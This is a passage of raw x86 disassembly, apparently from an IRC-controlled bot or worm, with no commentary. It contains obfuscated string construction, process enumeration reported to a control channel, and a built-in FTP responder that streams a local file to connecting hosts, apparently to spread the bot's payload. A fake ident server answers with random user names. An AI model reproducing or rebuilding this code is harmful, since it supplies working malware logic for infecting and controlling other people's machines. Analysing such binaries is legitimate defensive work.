ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_44500C lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_445000 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FF8 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F40 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FEC lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449287 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8EAB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44965F push edx call near ptr 71AB2B66h nop push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8EAB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx call near ptr 71AB9639h nop lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8EAB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E54 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax call near ptr 71AC1028h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DC8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44965F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445088 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445088 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5F74D1 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DC8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449968 call sub_4014DD push eax push 0 push 0 push offset byte_4D8085 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call near ptr 71AB9639h nop loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j call near ptr 2850000h nop loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E54 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8EA9, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44928B xor ebx, ebx cmp cl, bl mov byte_4E8EA9, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 3 push offset byte_448F40 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E64 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5F74D1 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp call near ptr 71AB428Ah nop mov esi, dword_511C9C push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E8EA9, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 2850000h jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi ; closesocket loc_41FB01: ; CODE XREF: sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= 